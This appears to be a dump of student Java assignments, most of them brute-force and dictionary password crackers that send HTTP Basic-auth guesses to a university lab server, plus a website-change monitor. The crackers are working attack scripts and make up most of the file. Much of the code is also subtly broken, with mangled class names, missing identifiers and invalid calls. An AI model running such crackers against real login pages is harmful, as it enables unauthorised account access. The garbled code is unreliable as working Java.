specified,""); + System.out.println("" default values used.""); + System.out.println(); + System.out.println("" Example of invocation :""); + System.out.println("" java BruteForce ""); + System.out.println("" java BruteForce 0""); + System.out.println("" java BruteForce 1 http://localhost/tryme.php""); + System.out.println("" java BruteForce 0 http://localhost/tryme.php - 1 3 ""); + System.out.println("" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ""); + System.out.println(); + System.out.println(); + } + + + + + + + + + public static void countIdxLimit() { + idxLimit = new int[MAXCHAR+1]; + + NCHAR = charset.length(); + ALLCOMBI = 0; + for (int i=0;i<=MAXCHAR;i++) { + if (i==0) { + idxLimit[i] = 0; + } else { + idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i); + } + } + + ALLCOMBI = idxLimit[idxLimit.length-1]; + } + + + public static void paramCheck(String[] args) { + int argc = args.length; + + + try { + switch (Integer.valueOf(args[0]).intValue()) { + case 0: { + isenhanced = false; + } break; + case 1: { + isenhanced = true; + } break; + default: + System.out.println(""Syntax error : invalid mode '""+args[0]+""'""); + printSyntax(); + System.exit(1); + } + } catch (NumberFormatException e) { + System.out.println(""Syntax error : invalid number '""+args[0]+""'""); + printSyntax(); + System.exit(1); + } + + if (argc>1) { + try { + + URL u = new URL(args[1]); + + + try { + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + + switch (conn.getResponseCode()) { + case HttpURLConnection.HTTP_ACCEPTED: + case HttpURLConnection.HTTP_OK: + case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: + case HttpURLConnection.HTTP_FORBIDDEN: + case HttpURLConnection.HTTP_UNAUTHORIZED: + break; + default: + + + System.out.println(""Unable open connection the URL '""+args[1]+""'""); + System.exit(1); + } + } catch (IOException e) { + System.out.println(e); + System.exit(1); + } + + THEURL = args[1]; + } catch (MalformedURLException e) { + + System.out.println(""Invalid URL '""+args[1]+""'""); + printSyntax(); + System.exit(1); + } + } + + + if (argc==6) { + try { + MINCHAR = Integer.valueOf(args[3]).intValue(); + } catch (NumberFormatException e) { + System.out.println(""Invalid range number value '""+args[3]+""'""); + printSyntax(); + System.exit(1); + } + + try { + MAXCHAR = Integer.valueOf(args[4]).intValue(); + } catch (NumberFormatException e) { + System.out.println(""Invalid range number value '""+args[4]+""'""); + printSyntax(); + System.exit(1); + } + + if ((MINCHAR<1) || (MINCHAR>10)) { + System.out.println(""Invalid range number value '""+args[3]+""' (must between 0 and 10)""); + printSyntax(); + System.exit(1); + } else + if (MINCHAR>MAXCHAR) { + System.out.println(""Invalid range number value '""+args[3]+""' (must lower than the value)""); + printSyntax(); + System.exit(1); + } + + if (MAXCHAR>10) { + System.out.println(""Invalid range number value '""+args[4]+""' (must between value and 10)""); + printSyntax(); + System.exit(1); + } + + if (args[2].toLowerCase().equals(""-"")) { + charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; + } else + if (args[2].toLowerCase().equals(""-alphanum"")) { + charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""; + } else + if (args[2].toLowerCase().equals(""-alphalow"")) { + charset = ""abcdefghijklmnopqrstuvwxyz""; + } else + if (args[2].toLowerCase().equals(""-alphaup"")) { + charset = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ""; + } else + if (args[2].toLowerCase().equals(""-number"")) { + charset = ""1234567890""; + } else { + charset = args[2]; + } + + USERNAME = args[5]; + } else + if ((argc>2) && (argc<6)) { + System.out.println(""Please specify the [charset], [], [], and [username] altogether none at all""); + printSyntax(); + System.exit(1); + } else + if ((argc>2) && (argc>6)) { + System.out.println(""The number of parameters expected is not more than 6. ""); + System.out.println("" have specified more than 6 parameters.""); + printSyntax(); + System.exit(1); + } + } + + public static void main (String[] args) { + + charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; + MINCHAR = 1; + MAXCHAR = 3; + + + if (args.length==0) { + args = new String[6]; + args[0] = String.valueOf(1); + args[1] = THEURL; + args[2] = ""-""; + args[3] = String.valueOf(MINCHAR); + args[4] = String.valueOf(MAXCHAR); + args[5] = USERNAME; + } + + + paramCheck(args); + + countIdxLimit(); + + + Application = new BruteForce(); + } + + public static BruteForce Application; + public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + public static boolean isenhanced; + public static String passw = """"; + + public static final int REPORT_INTERVAL = 10; + public static int MAXTHREAD = 50; + public static int MAXCONN = 50; + public static int curconn = 0; + public static int success = -1; + + public static String USERNAME = """"; + public static int MINCHAR; + public static int MAXCHAR; + public static int ALLCOMBI; + + public static int start ,end; + + + public static java.util.Timer reportTimer; + public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; + public static boolean connused[] = new boolean[MAXCONN]; + public ThCrack[] threads = new ThCrack[MAXTHREAD]; + public static int attempt = 0; + public static int idxLimit; + public static String charset; + public static int NCHAR; +} +" +175.java,"import java.io.*; +import java.net.*; +import java.util.*; + + +public class BruteForce +{ + + public static void main(String args[]) + { + + + Calendar cal = Calendar.getInstance(); + Date now=cal.getTime(); + double startTime = now.getTime(); + + String password=getPassword(startTime); + System.out.println(""The password is "" + password); + } + + public static String getPassword(double startTime) + { + char first, second, third; + String password=""""; + int requests=0; + + + for (int i=65; i<123; i++) + { + requests++; + first = (char) i; + + password = first + """"; + + + if (testPassword(password, startTime, requests)) + return password; + + for (int j=65; j<123; j++) + { + requests++; + second = (char) j; + + password = first + """" + second; + + + if (testPassword(password, startTime, requests)) + return password; + + for (int k=65; k<123; k++) + { + requests++; + third = (char) k; + + password = first + """" + second + """" + third; + + + if (testPassword(password, startTime, requests)) + return password; + + + + if (k==90) + k=96; + + } + + if (j==90) + j=96; + + } + + if (i==90) + i=96; + + } + + return password; + } + + private static boolean testPassword(String password, double startTime, int requests) + { + try + { + + + URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + + HttpURLConnection connection; + + String userPassword = "":"" + password; + + + String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); + + try + { + + connection = (HttpURLConnection) url.openConnection(); + + connection.setRequestProperty(""Authorization"", "" "" + encoding); + + + int status=connection.getResponseCode(); + + System.out.println(password + requests); + + if (status==200) + { + System.out.println(""It took "" + getTime(startTime) + "" milliseconds find the password.""); + System.out.println("" were "" + requests + "" requests .""); + + return true; + } + + return false; + + } + + catch (IOException ioe) + { + System.out.print(ioe); + return false; + } + + } + + catch (IOException MalformedURLException) + { + System.out.print(""Invalid URL""); + return false; + } + } + + + private static double getTime(double startTime) + { + + + Calendar cal = Calendar.getInstance(); + Date now=cal.getTime(); + double endTime = now.getTime(); + + return endTime-startTime; + + } + +} +" +188.java," + +import java.awt.*; +import java.String; +import java.util.*; +import java.io.*; +import java.net.*; + + + +public class BruteForce +{ + private URL url; + private HttpURLConnection connection ; + private int stopTime = 0; + private int startTime = 0; + private int count = 0; + + public BruteForce() + { + System.out.println(""Process is running...""); + startTime = System.currentTimeMillis(); + threeLetters(); + twoLetters(); + } + + public static void main (String args[]) + { + BruteForce bf = new BruteForce(); + } + + public void threeLetters() + { + String s1; + char [] a = {'a','a','a'}; + + for (int i0 = 0; i0 < 26; i0++) + { + for (int i1 = 0; i1 < 26; i1++) + { + for (int i2 = 0; i2 < 26; i2++) + { + s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + + String.valueOf((char)(a[2] + i2)); + decision(s1); + count++; + + s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + + (String.valueOf((char)(a[2] + i2))).toUpperCase(); + decision(s1); + count++; + + s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + + (String.valueOf((char)(a[2] + i2))).toUpperCase(); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + + (String.valueOf((char)(a[1] + i1))).toUpperCase() + + (String.valueOf((char)(a[2] + i2))).toUpperCase(); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + + String.valueOf((char)(a[2] + i2)); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + + String.valueOf((char)(a[2] + i2)); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + + (String.valueOf((char)(a[2] + i2))).toUpperCase(); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + + (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2)); + decision(s1); + count++; + } + } + } + } + + public void twoLetters() + { + String s1; + char [] a = {'a','a'}; + + for (int i0 = 0; i0 < 26; i0++) + { + for (int i1 = 0; i1 < 26; i1++) + { + s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)); + decision(s1); + count++; + + s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase(); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + + (String.valueOf((char)(a[1] + i1))).toUpperCase(); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)); + decision(s1); + count++; + } + } + } + + + public void decision(String s1) + { + if (find(s1) == 200) + { + stopTime = System.currentTimeMillis(); + runTime = stopTime - startTime; + System.out.println(""***************************************""); + System.out.println(""\nAttack successfully""); + System.out.println(""\nPassword is: "" + s1); + System.out.println(""\nThe contents of the Web site: ""); + displayContent(s1); + System.out.println(""\nTime taken crack: "" + runTime + "" millisecond""); + System.out.println(""\nNumber of attempts: "" + count); + System.out.println(); + + System.exit(0); + } + } + + + public int find(String s1) + { + int responseCode = 0; + try + { + url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + connection = (HttpURLConnection)url.openConnection(); + + connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1)); + + responseCode = connection.getResponseCode(); + + }catch (Exception e) + { + System.out.println(e.getMessage()); + } + return responseCode; + } + + + public void displayContent(String pw) + { + BufferedReader bw = null ; + try + { + url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + connection = (HttpURLConnection)url.openConnection(); + + connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw)); + InputStream stream = (InputStream)(connection.getContent()); + if (stream != null) + { + InputStreamReader reader = new InputStreamReader (stream); + bw = new BufferedReader (reader); + String line; + + while ((line = bw.readLine()) != null) + { + System.out.println(line); + } + } + } + catch (IOException e) + { + System.out.println(e.getMessage()); + } + } +} + + + + +" +086.java,"import java.net.*; +import java.io.*; +import java.*; + + public class BruteForce { + + URLConnection conn = null; + private static boolean status = false; + + public static void main (String args[]){ + BruteForce a = new BruteForce(); + String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", + """", + """"}; + int attempts = 0; + exit: + for (int i=0;i= bytes.length) { + b2 = 0; + b3 = 0; + pad = 2; + } + else { + b2 = bytes [i++]; + if (i >= bytes.length) { + b3 = 0; + pad = 1; + } + else + b3 = bytes [i++]; + } + byte c1 = (byte)(b1 >> 2); + byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); + byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); + byte c4 = (byte)(b3 & 0x3f); + encodedString += base64Array [c1]; + encodedString += base64Array [c2]; + switch (pad) { + case 0: + encodedString += base64Array [c3]; + encodedString += base64Array [c4]; + break; + case 1: + encodedString += base64Array [c3]; + encodedString += ""=""; + break; + case 2: + encodedString += ""==""; + break; + } + } + return encodedString; + } + } + +" +067.java,"import java.*; +import java.io.*; +public class C +{ + public static void main (String [] args){ + try{ + + int m=0,n=0,w=0; + String file = ""passwd.""; + char ch1='A',ch2='A',ch3='A'; + for(int i = 0 ; i < 26; i++ ) + { + for(w=0;w<2;w++) + { + if (w==1) + i+=32; + for(int j = 0; j< 26 ; j++) + { + for(n=0;n<2;n++) + { + if(n==1) + j+=32; + for(int k = 0; k<26 ; k++) + { + for(m=0; m<2; m++) + { + if(m==1) + k+=32; + char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)}; + String str = new String(data); + System.out.println(str); + FileWriter fr1 = new FileWriter(file,true); + BufferedWriter in1 = new BufferedWriter(fr1); + in1.write(str); + in1.newLine(); + in1.print(); + if (k>=31) + k-=32; + } + } + if(j>=31) + j=j-32; + } + } + if(i>=31) + i-=32; + } + } +} +catch(IOException e) +{ + System.out.println(""try""); +} +} +} +" +163.java,"package java.httputils; + +import java.io.BufferedOutputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.net.MalformedURLException; +import java.sql.Timestamp; +import java.util.Observable; + +public class BruteForce extends Observable +{ + + protected Timestamp start; + protected Timestamp end; + protected String URL = ""http://localhost:8080/secret/index.html""; + protected String userName = """"; + protected String content = """"; + protected int attempts = 0; + protected String password; + protected String fileName; + + public static final char[] letters = + { + 'a', + 'b', + 'c', + 'd', + 'e', + 'f', + 'g', + 'h', + 'i', + 'j', + 'k', + 'l', + 'm', + 'n', + 'o', + 'p', + 'q', + 'r', + 's', + 't', + 'u', + 'v', + 'w', + 'x', + 'y', + 'z', + 'A', + 'B', + 'C', + 'D', + 'E', + 'F', + 'G', + 'H', + 'I', + 'J', + 'K', + 'L', + 'M', + 'N', + 'O', + 'P', + 'Q', + 'R', + 'S', + 'T', + 'U', + 'V', + 'W', + 'X', + 'Y', + 'Z', + ' '}; + + public BruteForce() + { + } + + + public void process() + { + StringBuffer password = new StringBuffer(""aaa""); + + setStart(new Timestamp(System.currentTimeMillis())); + + for (int i = 0; + i < letters.length - 1; + password.setCharAt(0, letters[i]), i++) + { + for (int i2 = 0; + i2 < letters.length; + password.setCharAt(1, letters[i2]), i2++) + { + for (int i3 = 0; + i3 < letters.length; + password.setCharAt(2, letters[i3]), i3++) + { + try + { + attempts++; + + BasicAuthHttpRequest req = + new BasicAuthHttpRequest( + getURL(), + getUserName(), + password.toString().trim()); + setPassword(password.toString()); + setEnd(new Timestamp(System.currentTimeMillis())); + setContent(req.getContent().toString()); + + + if (getFileName() != null && getFileName().length() > 0) + { + createReport(); + } + return; + } + catch (MalformedURLException e) + { + e.printStackTrace(); + return; + } + catch (IOException e) + { + + } + } + } + } + + + setEnd(new Timestamp(System.currentTimeMillis())); + + + } + + + public void createReport() + { + OutputStream os = null; + try + { + os = new BufferedOutputStream( + new FileOutputStream(getFileName(), false)); + os.write(printResult().getBytes()); + } + catch (FileNotFoundException e) + { + e.printStackTrace(); + } + catch (IOException e) + { + e.printStackTrace(); + } + finally + { + if (os != null) + { + try + { + os.close(); + } + catch (IOException e) + { + } + } + } + } + + + public String printResult() + { + StringBuffer s = new StringBuffer(); + + s.append(""** "" + this.getClass().getName() + "" Results **\n\n""); + s.append(""Password: "" + getPassword() + ""\n\n""); + + s.append(""Attempts : "" + attempts + ""\n\n""); + + s.append( + ""Time (seconds): "" + + (getEnd().getTime() - getStart().getTime()) / 1000 + + ""\n\n""); + s.append(""Content: \n"" + getContent() + ""\n\n""); + + return s.toString(); + } + + public String printUsage() + { + StringBuffer s = new StringBuffer(); + + s.append(""** BruteForce proper usage **\n\n""); + s.append( + ""java ..httputils.BruteForce \n\n""); + + return s.toString(); + } + + public static void main(String[] args) + { + BruteForce bruteForce = new BruteForce(); + + if (args.length < 2) + { + System.out.println(bruteForce.printUsage()); + } + else + { + bruteForce.setURL(args[0]); + bruteForce.setUserName(args[1]); + if (args.length > 2) + { + bruteForce.setFileName(args[2]); + } + bruteForce.process(); + System.out.println(bruteForce.printResult()); + } + } + + + + + public Timestamp getEnd() + { + return end; + } + + + public Timestamp getStart() + { + return ; + } + + + public void setEnd(Timestamp timestamp) + { + end = timestamp; + } + + + public void setStart(Timestamp timestamp) + { + time = timestamp; + } + + + public String getURL() + { + return URL; + } + + + public void setURL(String string) + { + URL = string; + } + + + public String getUserName() + { + return userName; + } + + + public void setUserName(String string) + { + userName = string; + } + + + public String getContent() + { + return content; + } + + + public void setContent(String string) + { + content = string; + } + + + public String getPassword() + { + return password; + } + + + public void setPassword(String string) + { + password = string; + } + + + public String getFileName() + { + return fileName; + } + + + public void setFileName(String string) + { + fileName = string; + } + +} +" +006.java," + + +import java.io.*; +import java.util.*; +import java.*; +import java.net.*; + +public class WatchDog +{ + + static Process p = null; + static Process qproc = null; + + static BufferedReader bf = null; + static StringTokenizer tok = null; + + static String Path = null; + static String str = null; + static String urlStr=null; + static boolean changed = false; + + static File indexfile = new File(""index.html""); + static File tmpfile = new File(""tmpindex.html""); + static File mdfile = new File(""md5file.txt""); + static File tmpmdfile = new File(""tmpmd5file.txt""); + static PrintWriter mailwriter = null; + + + public static void main (String[] args) + { + + urlStr = ""http://www.cs.rmit.edu./""; + + try + { + + mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false))); + + getLatest(urlStr); + parseFile(); + + mailwriter.read(); + + if(changed) + { + System.out.println(""Sending Mail""); + p = Runtime.getRuntime().exec(""./mailscript""); + p.waitFor(); + + } + else + System.out.println("" mail sent""); + + } catch (IOException ioe) + { + System.out.println(""IOException""); + ioe.printStackTrace(); + } + catch (InterruptedException intex) + { + System.out.println(""Interrupted Exception""); + intex.printStackTrace(); + } + + + } + + + static void getLatest(String urlStr) + { + + URL url = null; + + try + { + url = new URL(urlStr); + + } catch (MalformedURLException mfurl) + { + System.out.println(""Malformed URL""); + mfurl.printStackTrace(); + } + + try + { + mailwriter.println(); + + p = Runtime.getRuntime().exec(""/usr//pwd""); + p.waitFor(); + bf= new BufferedReader(new InputStreamReader( + p.getInputStream())); + + Path=bf.readLine(); + + if (indexfile.exists()) + { + mailwriter.println(""File with name 'index.html' found in directory.""); + mailwriter.println(""Renaming existing 'index.html' 'tmpindex.html...""); + p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile); + p.waitFor(); + p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile); + mailwriter.println(); + mailwriter.println(""File with name 'md5file.txt' found in directory.""); + mailwriter.print(""Renaming existing 'md5file.txt' 'tmpmd5file.txt...""); + + mailwriter.println("".""); + + mailwriter.println(); + } + + mailwriter.println(""Downloading current version of site - "" + urlStr); + p = Runtime.getRuntime().exec(""/usr/local//wget ""+url); + p.waitFor(); + if (!tmpfile.exists()) + { + mailwriter.println(""File - "" + urlStr + ""index.html saved disk for the first time.""); + } + + + } catch (IOException ioe) + { + System.out.println(""IOException""); + ioe.printStackTrace(); + } + catch (IndexOutOfBoundsException iobe) + { + System.out.println(""Index Out Of Bounds Exception""); + iobe.printStackTrace(); + } + catch (Exception e) + { + System.out.println(""Exception""); + e.printStackTrace(); + } + } + + static void parseFile() + { + + Vector imgVect = new Vector(); + + try + { + p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile); + p.waitFor(); + bf = new BufferedReader(new InputStreamReader( + p.getInputStream())); + + while((str=bf.readLine())!=null) + { + bf = new StringTokenizer(str, ""\"""", false); + + while(bf.hasMoreTokens()) + { + str=bf.nextToken(); + if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0)) + imgVect.addElement(str); + } + + } + + }catch (IOException ioe) + { + System.out.println(""IOException""); + ioe.printStackTrace(); + } + catch (Exception e) + { + System.out.println(""Exception""); + e.printStackTrace(); + } + + mailwriter.println(""Creating file with md5sums of the webpage and images...""); + md5Create(imgVect); + + } + + static void md5Create(Vector imgVect) + { + String tmpString = null; + Vector imgNames = new Vector(); + + try + { + PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); + + p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile); + p.waitFor(); + bf= new BufferedReader(new InputStreamReader( + p.getInputStream())); + pr.println(bf.readLine()); + + for(int i=0; i 0) || (str.indexOf(""jpg"") > 0)) + prsName=str; + } + return (Object)prsName; + } +} +" +038.java," +public class CrackingConstants +{ + + + public static final int quietMode = 0; + public static final int verboseMode1 = 1; + public static final int verboseMode2 = 2; + + + public static final int simpleScan = 0; + public static final int casedScan = 1; + + + public static final int notFound = -1; + + + + + + + + public static final String [] lowerChars = {""a"", ""e"", ""i"", ""o"", ""u"", ""y"", + ""b"", ""c"",""d"", ""f"", ""g"", ""h"", + ""j"", ""k"", ""l"", ""m"", ""n"", ""p"", + ""q"", ""r"", ""s"", ""t"", ""v"", ""w"", + ""x"", ""z"", ""0"", ""1"", ""2"", ""3"", + ""4"", ""5"", ""6"", ""7"", ""8"", ""9"", + ""\'"", ""`"", ""."", "","", ""!"", ""\"""", + ""&"" }; + + public static final String [] upperChars = {""A"", ""E"", ""I"", ""O"", ""U"", ""Y"", + ""B"", ""C"", ""D"", ""F"", ""G"", ""H"", + ""J"", ""K"", ""L"", ""M"", ""N"", ""P"", + ""Q"", ""R"", ""S"", ""T"", ""V"", ""W"", + ""X"", ""Z"", ""0"", ""1"", ""2"", ""3"", + ""4"", ""5"", ""6"", ""7"", ""8"", ""9"", + ""\'"", ""`"", ""."", "","", ""!"", ""\"""", + ""&"" }; + + + public static final int punctuationUpperBound = 42; + public static final int punctuationLowerBound = 36; + public static final int numbersUpperBound = 35; + public static final int numbersLowerBound = 26; + public static final int consonantUpperBound = 25; + public static final int consonantLowerBound = 6; + public static final int vowelUpperBound = 5; + public static final int vowelLowerBound = 0; + + + public static int findIndex(char letter, int lowerSearchBound, int upperSearchBound) + { + if(lowerChars.length < upperSearchBound) + upperSearchBound = lowerChars.length; + + if(0 > lowerSearchBound) + lowerSearchBound = 0; + + for(int i = lowerSearchBound; i < upperSearchBound; i++) + { + + + if(lowerChars[i].indexOf(letter) > -1) + return i; + if(upperChars[i].indexOf(letter) > -1) + return i; + } + return notFound; + } + +} " +221.java," + +import java.io.*; +import java.text.*; +import java.util.*; +import java.net.*; + +public class BruteForce extends Thread +{ + private static final String USERNAME = """"; + private static final char [] POSSIBLE_CHAR = + {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', + 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', + 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; + private static int NUMBER_OF_THREAD = 500; + + private static Date startDate = null; + private static Date endDate = null; + + private String address; + private String password; + + public BruteForce(String address, String password) + { + this.address = address; + this.password = password; + } + + public static void main(String[] args) throws IOException + { + if (args.length < 1) + { + System.err.println(""Invalid usage!""); + System.err.println(""Usage: java BruteForce ""); + System.exit(1); + } + + try + { + brute(args[0], USERNAME); + } + catch(Exception e) + { + e.printStackTrace(); + System.exit(1); + } + } + + public static void brute(String address, String user) + { + BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD]; + int index = 0; + + startDate = new Date(); + for(int i = 0; i < POSSIBLE_CHAR.length; i++) + { + for(int j = 0; j < POSSIBLE_CHAR.length; j++) + { + for(int k = 0; k < POSSIBLE_CHAR.length; k++) + { + String password = """"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+ + POSSIBLE_CHAR[k]; + + if (threads[index] != null && threads[index].isAlive()) + { + try + { + threads[index].join(); + } + catch(InterruptedException e ) {} + } + threads[index] = new BruteForce(address, password); + threads[index].get(); + + index = (index++) % threads.length; + } + } + } + } + + public void run() + { + if (endDate != null) + return; + + try + { + + URLConnection conn = (new URL(address)).openConnection(); + conn.setDoInput(true); + + if (login(conn, USERNAME, password)) + { + endDate = new Date(); + System.out.println(""Found the password: \""""+password+""\""!""); + SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); + System.out.println(""Process started at: ""+format.format(startDate)); + System.out.println(""Process started at: ""+format.format(endDate)); + double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; + System.out.println(""Time taken: ""+timeTaken+"" minutes""); + System.exit(0); + } + else + { + System.out.println(""Password: \""""+password+""\"" Failed!""); + return; + } + } + catch(Exception e) + { + e.printStackTrace(); + } + + } + + public static boolean login(URLConnection conn, String user, String pass) + { + try + { + String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); + conn.setRequestProperty (""Authorization"", encodeAuth); + conn.connect(); + conn.getInputStream(); + } + catch(Exception e) + { + return false; + } + return true; + } +} + + +" +180.java,"import java.io.*; +import java.net.*; +import java.util.*; + + +public class Dictionary +{ + public static void main (String args[]) + { + + + Calendar cal = Calendar.getInstance(); + Date now=cal.getTime(); + double startTime = now.getTime(); + + String password=getPassword(startTime); + System.out.println(""The password is "" + password); + } + + public static String getPassword(double startTime) + { + String password=""""; + int requests=0; + + try + { + + FileReader fRead = new FileReader(""/usr/share/lib/dict/words""); + BufferedReader buf = new BufferedReader(fRead); + + password=buf.readLine(); + + while (password != null) + { + + if (password.length()<=3) + { + requests++; + if (testPassword(password, startTime, requests)) + return password; + } + + password = buf.readLine(); + + } + } + catch (IOException ioe) + { + + } + + return password; + } + + private static boolean testPassword(String password, double startTime, int requests) + { + try + { + + + URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + + HttpURLConnection connection; + + String userPassword = "":"" + password; + + + String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); + + try + { + + connection = (HttpURLConnection) url.openConnection(); + + connection.setRequestProperty(""Authorization"", "" "" + encoding); + + + int status=connection.getResponseCode(); + + System.out.println(password + requests); + + if (status==200) + { + System.out.println(""It took "" + getTime(startTime) + "" milliseconds find the password.""); + System.out.println("" were "" + requests + "" requests .""); + + return true; + } + + return false; + + } + + catch (IOException ioe) + { + System.out.print(ioe); + return false; + } + + } + + catch (IOException MalformedURLException) + { + System.out.print(""Invalid URL""); + return false; + } + } + + + private static double getTime(double startTime) + { + + + Calendar cal = Calendar.getInstance(); + Date now=cal.getTime(); + double endTime = now.getTime(); + + return endTime-startTime; + + } + +} +" +057.java," + + + import java.io.*; + + + class Dictionary + { + public static void main (String[]a) + { + new PassGen(); + } + } + + class PassGen + { + String password; + char url; + Process p; + Runtime r; + FileReader fr; + BufferedReader bf; + int exitValue=1; + int startTime,finishTime; + int noOfAttempts=0; + + + PassGen() + { + + String s; + try + { + fr=new FileReader(""./words""); + bf =new BufferedReader(fr); + r=Runtime.getRuntime(); + startTime=System.currentTimeMillis(); + while((password=bf.readLine())!=null && exitValue !=0) + { + if(password.length()<=3) + { + s=""wget --http-user= --http-passwd=""+password+"" http://sec-crack.cs.rmit.edu./SEC/2/ ""; + p=r.exec(s); + System.out.println(password); + noOfAttempts++ ; + p.waitFor(); + r.freeMemory(); + r.gc(); + exitValue=p.exitValue(); + } + + if(exitValue==0) + { + System.out.println(""The paswword is :""+password); + finishTime=System.currentTimeMillis(); + System.out.println(""Total Time Taken:=""+((finishTime-startTime)/1000)+"" seconds""); + System.out.println(""Number of attempts:=""+noOfAttempts); + break; + } + + } + + fr.print(); + } + catch(Exception e) + { + + System.out.println(e); + + } + finally + { + + if(exitValue!=0) + System.out.println(""Password not cracked--oops""); + } + + } + }" +074.java," + + + + +import java.io.*; +import java.net.*; + + + +public class BruteForce +{ + public static void main(String args[]) throws IOException, + MalformedURLException + { + final String username = """"; + final String fullurl = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + + String temppass; + String password = """"; + URL url = new URL(fullurl); + boolean cracked = false; + + String c[] = {""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"", + ""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z"",""a"",""b"",""c"",""d"", + ""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"", + ""t"",""u"",""v"",""w"",""x"",""y"",""z""}; + + startTime = System.currentTimeMillis(); + + + + for(int i = 0; i < 52 && !cracked; i++) { + temppass = c[i]; + Authenticator.setDefault(new MyAuthenticator(username, temppass)); + try{ + + + BufferedReader r = new BufferedReader(new InputStreamReader( + url.openStream())); + + + cracked = true; + password = temppass; + } catch(Exception e){} + } + + for(int i = 0; i < 52 && !cracked; i++) { + for(int j = 0; j < 52 && !cracked; j++) { + temppass = c[i]+c[j]; + Authenticator.setDefault(new MyAuthenticator(username, temppass)); + try{ + BufferedReader r = new BufferedReader(new InputStreamReader( + url.openStream())); + cracked = true; + password = temppass; + } catch(Exception e){} + } + } + + for(int i = 0; i < 52 && !cracked; i++) { + for(int j = 0; j < 52 && !cracked; j++) { + for(int k = 0; k < 52; k++) { + temppass = c[i]+c[j]+c[k]; + Authenticator.setDefault(new MyAuthenticator(username,temppass)); + try{ + BufferedReader r = new BufferedReader(new InputStreamReader( + url.openStream())); + cracked = true; + password = temppass; + } catch(Exception e){} + } + } + } + stopTime = System.currentTimeMillis(); + + if(!cracked) + System.out.println(""Sorry, couldnt find the password""); + else + System.out.println(""Password found: ""+password); + System.out.println(""Time taken: ""+(stopTime-startTime)); + } +} + +" +106.java," + + +import org.apache.commons.httpclient.HttpClient; +import org.apache.commons.httpclient.UsernamePasswordCredentials; +import org.apache.commons.httpclient.cookie.CookiePolicy; +import org.apache.commons.httpclient.methods.GetMethod; + + + + +public class BruteForce{ + + static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty(""logonSite""); + static final int LOGON_PORT_HACKER = 